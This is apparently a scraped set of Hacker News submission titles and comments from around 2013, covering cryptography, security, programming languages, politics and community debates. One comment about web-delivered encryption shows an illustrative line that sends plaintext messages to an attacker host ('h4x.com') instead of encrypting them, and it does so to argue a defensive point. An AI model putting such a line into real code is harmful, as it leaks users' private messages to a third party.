skysight-inc/HackerNews huggingface dataset:
Is there a substantial risk of mailing your hard drive to your destination and simply travelling with a hollow computer?
DigitalHax – Allows you to recover data from "Destroyed" Digital Ocean VM
The problem is not that the specific tasks are too heady for most programmers, per se, but that it is easy to introduce a weakness into the system and almost impossible for most programmers to know when they have done so. Implementing an algorithm correctly is one thing; ensuring that your whole system does nothing to undermine the security you hope to get from that algorithm (even through side channels) is a lot iffier.

Remember, people with years of training and experience in the field have had their work defeated time and again. Do you really feel certain Joe Coder will make fewer mistakes than they did?
what i dont understand is, why would any one want to START with a VM that has some one elses data on it? Forget people wanting their data scrubbed on delete.
IANAL, but entrapent is an affirmative defense; in most cases it moves the burden of proof onto the defendant. That makes it hard to use.

Furthermore, the inducement usually has to be pretty strong. Merely suggesting someone commit a crime is not entrapment. Even paying them to commit a crime isn't in many cases.
Most of the reverence for this guy (regardless of whether you find it pseudo-intellectual or not) can probably be explained by the fact that Paul Graham is a co-founder of Y Combinator, and you're on ycombinator.com.
Just a quick question. Why the scare quotes around terrorists? Are you disputing that that is what they were?
Even if we could reliably deliver open source crypto libs, the website could still serve up code that didn't use the libraries correctly.
The NSA and the Corrosion of Silicon Valley
I'm offended when people say that enduring something was "hell". It is disrespectful towards people who are burning in Hell.
I ask about the case where someone actually does know better than the status quo and you switch the example to a self-serving one. You are blatantly dishonest.
Are you sure you can't? Pretty sure I have used a remotely started emacs --daemon and used emacsclient -c with DISPLAY set correctly and X forwarding to bring a GUI frame locally, and then use emacsclient on that machine to pop open files from the remote command line to the existing, local gui frame. If you lose your connection the gui client might kill your daemon (at least with gtk) though.

Or do your editing from ansi-term or eshell from within the long startup gui you have running on the remote system. Eshell find-file will pop to that buffer from the commandline.

It is unfortunate that tramp often feels too slow for these tasks, as that would seem like another logical approach. Maybe it's faster without ido and friends doing lots of completion requests?
Maybe so, but lots of people use the remaining 1% for most of their work, and some of us prefer the OS X (or Windows, or X11) desktop environment to the browser for most applications. I sure do, though I also generally prefer well-designed Web pages to native mobile apps for accessing information on the Internet.
That's all fine and well, but there's no standard way to implement encryption using the now-standard crypto libs. In other words an attacker can still change your code from

var ciphertext = StandardCrypto.aes(my_key, my_message);

to

// disable crypto
var ciphertext = my_message;
// or send plaintext to h4x.com
send_jsonp('http://h4x.com/collect?msg='+my_message);
var ciphertext = StandardCrypto.aes(my_key, my_message);

Standard crypto libs won't do you any good if you aren't actually calling them.
On top of this, if you are making any significant amount of money as a self-employed individual you should probably look into setting up a solo-401k or a SEP-IRA, which will help reduce your taxable income (by up to $51,000 for 2013).
5 VLC PLAYER HIDDEN TRICKS
Marvin: No need to guess about my identity! My comment to which you replied said "as I wrote here in 2005" when linking to my CNET article. You did read my comment in full before replying, right? :)

Also I have links to my homepage and Twitter screen name in my HN profile: https://news.ycombinator.com/user?id=declan

In terms of the merit of your arguments, nobody claimed that Markey can do anything on his own; the point I made is that if there are actual NN problems -- as opposed to hypothesized handwaving ones -- Markey and others in Congress can and will advance legislation. In terms of the rest of your points, I think you're reaching. I look forward to continuing this conversation after the court rules!

PS: My last name is spelled "McCullagh."
Apple, Google and Facebook are latter-day Scrooges
‘Skycycle’, London bicycle highway
Most free software engineering events are by default "help white men code events" because the environment is almost always extremely comfortable for white men because most of the participants are white men.

The goal of this program is to create a sanctuary where black women are able to feel more comfortable because they are going to be among peers they can relate to. Participating in an activity with your peers can be very helpful in fostering interest, comfort and confidence in someone.

That being said, I would prefer if this program was focused on women who are minorities (black, latino, eastern european, asian, etc.). You don't need to see people of just your own race to feel like you are among your peers. Furthermore, although the focus would be open to women who are minorities, they should footnote that they are open to the participation of men who are underrepresented in technology or caucasian women, who are also under-represented in technology. You can have a focus without being exclusionary.
I have this feeling that one day we'll look back in a sort of amused horror that people used to let their browsers run code they downloaded from unknown servers. But I'm not really sure what we'll be doing instead of that.
Ask HN: Whats the difference between Innovation & Entrepreneurship
Debian init system discussion (systemd vs upstart)
CorpGovMedia hath given unto thee Laws to Live By. And so it is written that thou shalt not denigrate females, but that thou shalt elevate them above all others, for the females are The Most Sacred Consumer and Surplus Labor Supply, thus lowering wages and increasing The Most Sacred Corporate Profits.

And All Those Who Violate This Law Shall Be Marked "B" for Bigot. And Know Ye Well That Those Who Wear This Mark of B Shall Be Cast Out of Society and They Shall Be Demonized Forever....

Know Ye These Laws!
You can't point to this as a success of the security measures. First, it implies that there are a significant number of bombers who are either captured or deterred. If the first was true, both the Bush admin and the Obama admin would be touting it as a success. If these "numerous" bombers are being deterred, you can't point to the security measures as the deterrent. It might be the NSA, CIA, or other organizations (US and other) that would be disrupting their plans. Otherwise it's back to the magic rock that keeps tigers away.
What if we are really in a “Matrix”-like simulation?
Literature review and meta-analysis seemed out of scope, considering the comment to which I replied. (And I seem to've fallen into the HN trap of being too straight-faced about a smart-assed comment.)
I've always been confused as to what sort of niche Haiku is trying to fill. Is there that much of a demand for BeOS applications?

Maybe I'm just too young to know
Furthermore, the scenario here is where someone is informed of the risks/benefits, and they want to take part of a treatment plan you disapprove of. The first thing you do is dishonestly preemptively categorize it as crankishness, as if being different than the status quo ipso facto makes it nutty. This is revealing in itself. But on top of that is the fact that IT IS NOT YOUR BODY. So not only are you dishonest, you are grossly immoral.
Go also has a very strict compatibility promise: http://golang.org/doc/go1compat

This has been fantastic because I know my Go program won't break anytime in the foreseeable future (Go 2, if I were to guess, is still a decade away). Additionally, since the compatibility promise is not only in the language but also in the standard lib (to be expected, perhaps), I know that that isn't going to break either.

It is pretty neat for a new version of a language runtime/compiler to be released and to just recompile your app and see dramatic improvements.

This is in stark contrast to a language such as Ruby, where each version released, even when they say is backwards compatible, has been at least a minor headache to upgrade to due to behavioral differences.

NOTE: I'm NOT NOT NOT comparing Go to Rust. Let's not open that can of worms.
Why it’s (almost) 2014 and you still need a set top box
"On a second note I'm also curious as to what exactly you're referring to when you say he has the credibility that should make us know that he isn't sexist. I'm not saying he is sexist, I'm just saying that all of his credibility lies in making good business decisions, not gender relations."

I agree. This willful blindness to bias and prejudice because smart people are not biased or prejudiced prevents us from examining our thoughts and behavior.
How much was the revenue?
125 Years of Disease Surveillance Data
Why are you linking someone's gender to the ability to flag and remove sexist comments? Are you saying that women are allowed to make sexist comments about men?

Sexism is everyone's problem, regardless of gender expression.
Keep the data remote via VPN/SSH/rdesktop/VNC, and the appliance is a lump of hardware that can be reinstalled. This is easy with a laptop running vanilla Debian, not so easy to wipe/reinstall some appliances.
Citizen, surely you need no reminding that so-called "gender neutrality" is merely a sexist excuse for the ongoing structural oppression of women and gender-fluid individuals.
I found a similiar posting on HN last year. I saved exactly 97 videos from 29C3. All of them with an interesting title. My brilliant plan: watch them over the year while traveling by train or plane. Maybe I read HN or slept but I watched not a single video. Now I have another ~100 great videos to watch. I really want to watch them all but I doubt it. I need a direct brain uplink.
> you don't have idea about what is a "witch hunt"

witch hunt (n): the act of unfairly looking for and punishing people who are accused of having opinions that are believed to be dangerous or evil

Sounds like proper usage of the word to me.
> My boss already knows how Jerry acts and hasn't done anything.

If your boss knows how Jerry treats you (and that you're uncomfortable/unhappy about it) and he's unwilling to do anything about it you might want to consider talking to your boss's boss. If neither is concerned with how Jerry treats his co-workers it might be time to update the resume.
Neatly ignored is the large role the government had in pressuring banks to make all those bad loans.
I'd trust such a "Means to retrieve" about as far as I can throw it. FOIA requests are often denied or returned completely redacted, and I'd expect any similar "give me back my gun" requests to be either rubber stamped, or mired in enough red tape that it would be more cost effective to buy a new one.
What app is that "Did you write 1000 words today?" a screenshot of?
This is major news!

We've been trying to have untrusted parties perform computations on sensitive data for a while: if you can encrypt your data, and map-reduce it on untrusted machines but non-malicious machines, and come out with results, that's pretty big.

http://en.wikipedia.org/wiki/Homomorphic_encryption
> No, I recognized that this is a self-preservation tactic and (thought) I implied I wished it weren't needed.

This seems to contradict when you previously wrote that it is up to him, and him alone, to change his behavior, when here it seems to be actually a needed tactic bourn of forces outside of his control. Allocating 50% blame doesn't seem terribly sympathetic, either.

But never mind, I have probably nitpicked more than my fair share for today.
To be honest it comes off as (at least a little) arrogant in my opinion. It's one thing if I read something along the lines of "This kid is 17 and he's trying to change the music industry" [posted by someone else] because that would be a third party endorsement of your ambition/drive, as well as highlighting your age. It's another if you're boasting about it yourself.

Then again, I'm in my mid-20s so maybe I'm just grumpy that I wasn't as motivated or directed at 17 as you are :)
I actually use this app when I want to stream handpicked music from youtube. Great app btw.
you should see his current tweets
There's a big disparity, in some sense, between lower and upper classes in today's world, but the disparity doesn't show up in happiness or longevity so far as I know.

Actually it does: poor people are not as happy as well-off people, on average.

Also, for the past 30 or so years, US life expectancy for higher income workers has gone up substantially more then for lower income workers. See [1] for example, or search on "life expectancy by income level"

[1] http://www.minnpost.com/second-opinion/2013/03/income-gap-pl...
pg, a pseudo-intellectual?

I'm frankly surprised you've been here for 2 years and never realised.

You see the ycombinator in news.ycombinator.com? In this website?

That's pg's company.

Do you know what ycombinator is? That he started the seed funding movement? That he was blogging about hacking startups before people even really realised you could hack startups? Before lean startup existed? That he's written his own dialect of LISP? That he started and sold his own startup in the early days of the web? And that, now this is some serious respect, it was actually written in LISP?

That's not cultish, it's earned respect and pg's got it in buckets around here.

Crikey.

Little drunk, but crikey, talk about having absolutely no fucking clue. The guy's a machine of intellectualism, most things he turns his mind to he de-constructs, encapsulates and then explains brilliantly. Yeah, occasionally he's wrong, especially when he tries to justify certain aspects of exploitative capitalism, but damn he's good. Very good.

And that response was classic pg as grellas said.
You can rather easily make a verified kernel that executes foreign code safely. The trick is in also making it fast and featured.
To add to your remarks on power: VC-funded tech is a world where everyone feels like a loser and is disempowered.

The VCs want to be working on billion-dollar private equity deals and crashing third-world currencies, not flipping measly $200-million startups. They're happy with their $17-million California mansions... until they go to their MBA-school reunions and are the only ones in their social groups without private jets and who don't live in New York or London.

The founders want to be VCs, the engineers want to be founders. Neither transition is likely at all. The non-engineers want to be engineers. Where that transition is likely, watch out.

The tech press is pretty light on ethics because of the false poverty effect. Few people in tech proper are poor, but they all feel poor, and when you conceive of yourself as poor, pissed-on, and generally cheated, you're more willing to do some cheating yourself.

That is why there are so many unethical and shoddy people in VC-funded technology. Watching total fucking idiots like Lucas Duplan get million-dollar welfare checks only adds to it.

Then there are the stray weirdos like me who are in tech because we really like the work, but we don't last long in VC-istan.
Because he makes a valid point. Even a broken clock is right twice a day.
What percentage of your email was spam?
"pseudo" was a little strong. But if you have any serious familiarity with his "off-topic" rants, youll see he writes about issues glibly and with a severe lack of information. I dont mind "academic journalism", I do it a lot myself: write on difficult topics for a lay audience and maybe sacrifice a little accurasy a long the way. I think pg likes be seen making points more than he wants further understanding/truth/etc.
This is about the old ios6 evasi0n jailbreak, not the recent ios7 evasi0n7 release.

More technical explanations than the linked article can be found in the links section near the bottom of http://theiphonewiki.com/wiki/Evasi0n
Since when does everything have to fill some niche? What about just trying to make a good open-source desktop OS, for fun, because they're developers?

I see this quite often on articles about Haiku. Everyone jumps on them like it's such a bad thing that they're working on something and it has no relationship to Linux.
One of the nice things about EventSource (server-sent events) is that it reconnects by default, and error recovery logic is handled by the browser.
This is one of the longest and most interesting threads I've read in a long while.

And since Paypal bought a bank to become legit, what stops some entity from becoming a bank somewhere, and allowing whatever crypto currency (heck, all of the respectable ones) and lets you get a Visa/Mastercard that lets you buy stuff anywhere, meaning they, in real-time, auto-denominate your crypto coins in whatever jurisdictional currency you are active in, and if you have enough to buy the thing in question, it's yours!

And for liquidity, the bank in question could simply API into coin base/cryptsy or whatever else is trading stuff, and sell off your coins when you transact (and what do they need to cover? Just the value fluctuation, not linked to any fiat currency, since they run to zero value as time goes to infinity).

Probably the Visa/Mastercard dudes will require a settlement in some fiat currency, so the coins would be settled to that, whatever it is.
Porn on the walls is going a bit far, especially for 2008.

I'm talking more about the tone of jokes (non-individually directed) and things like that. Stuff that you don't need to remember to hide when clients or the Board of Directors come to the office, and that doesn't turn up in an email log that will be reviewed later on by regulators. Stuff that you can switch off right away when you need to go in to "serious professional mode".
It's the Commit app, also made by Nathan: https://itunes.apple.com/ca/app/commit/id473527073?mt=8
I came to the comments to mention exactly this. A production solution needs to back off or you're going to DDOS yourself if your pubsub cluster falls over.
A nicer nix than Linux, freer than Mac, better desktop toolkit than either of the two.
I think its probably the only reason this link had any relevance at all. It probably would have otherwise just been another Show HN submission with not much response, as it still doesn't have much quality or use (not to downplay OP's achievement) until you realize who made it.
Perhaps you should start by watching "Towards an affordable brain-computer-interface": http://media.ccc.de/browse/congress/2013/30C3_-_5395_-_en_-_...
The one that hit me was:

A fine artist, (successful, credential-festooned, with inherited money), told me that I was too focused on commerce to be an artist. A real artist endured poverty. Being poor was edifying, filled with moral uplift. I spent weeks in a murderous rage.
Palmerston: The island at the end of the earth
ah, thanks, i didn't know that trick.
> If any of them thought about the social implications of their activities, whether it was predatory lending, abusive credit card practices, or market manipulation, they might have taken comfort that, in accordance with Adam Smith’s dictum, their swelling bank accounts implied that they must be boosting social welfare.

Stiglitz is doing violence to Adam Smith here, an author I suspect he has not re-read in a long time.

This quote from Stiglitz would more appropriately reference J.M. Keynes rather than Adam Smith. To wit, Keynes wrote in the General Theory:

> It is better that a man should tyrannize over his bank balance than over his fellow citizens.

Smith, on the other hand, was very clear in advising the government against the conspiracies of businessmen and against viewing rising profits as a sign of national wealth:

> "His employers constitute the third order, that of those who live by profit. it is the stock that is imployed for the sake of profit, which puts into motion the greater part of the useful labor of every society. The plans and projects of the employers of stock regulate and direct all the most important operations of labor, and profit is the end proposed by all those plans and projects. But the rate of profit does not, like rent and wages, rise with the prosperity, and fall with the declension, of the society. On the contrary, it is naturally low in rich, and high in poor countries, and it is always highest in the countries which are going fastest to ruin...

> "Their superiority over the country gentleman is, not so much in their knowledge of the public interest, as in their having a better knowledge of their own interest than he has of his. It is by this superior knowledge of their own interest that they have frequently imposed upon his generosity, and persuaded him to give up both his own interest and that of the public, from a very simple but honest conviction, that their interest, and not his, was the interest of the public. The interest of the dealers, however, in any particular branch of trade or manufactures, is always in some respects different from, and even opposite to, that of the public. To widen the market and to narrow the competition, is always in the interest of the dealers...

> "The proposal of any new law or regulation of commerce which comes from this order, ought always to be listened to with great precaution, and ought never to be adopted till after having been long and carefully examined, not only with the most scrupulous, but with the most suspicious attention. It comes from an order or men, whose interest is never exactly the same with that of the public, who have generally an interest to deceive and even to oppress the public, and who accordingly have, upon many occasions, both deceived and oppressed it."

Adam Smith, The Wealth of Nations, Chap. XI, Part III, "Rent of Land: Conclusion".
Hacking a toy robot to add a 2 watt blue laser
And of course there has been a DXpedition or two: http://dx-world.net/2012/e51and-the-palmerston-atoll-story/
I think this is well said. It seems to me that python iteration happens in the space ahead of current (x.x.dev).

I can't really say how ruby does it because I haven't use ruby much.
I'm mostly just a vast store of useless information. Your comment brought up the association with the earlier story. I couldn't tell you the first place I encountered it, probably in some juvenile archive of war / spy stories, it's stuck with me through the years.

As for things to read: I'm generally interested in, well, a lot of things, but crypto, security, organizational and national aspects of both, and the like. Schneier's Cryptography and his more recent works (most of which focus increasingly on human factors), comp.risks, The Art of War, Neal Stephenson's Cryptonomicon, random linkage through Wikipedia (highly underrated). Actually, for that last, I should probably write intentional linkage. Find some topic you're interested in, search for a few base articles, and follow the links out to other related aspects. Particularly case studies / people, and the like.

If you're going to study WWII, I have to recommend Daniel Yergin's The Prize (either the book or the video series, I've viewed the latter and confess only skimmed through bits of the former, it's voluminous). The relationship of oil to the events of the 20th century simply cannot be overstated.
If Python 3 is renamed Cobra, I'll switch immediately.

And while doing so I will listen to this track from the Cobra soundtrack.

http://www.allmusic.com/song/skyline-mt0010878632

Preferably to its C64 rendition.

http://ftp.df.lth.se/pub/media/soasc/soasc_mp3/MUSICIANS/D/D...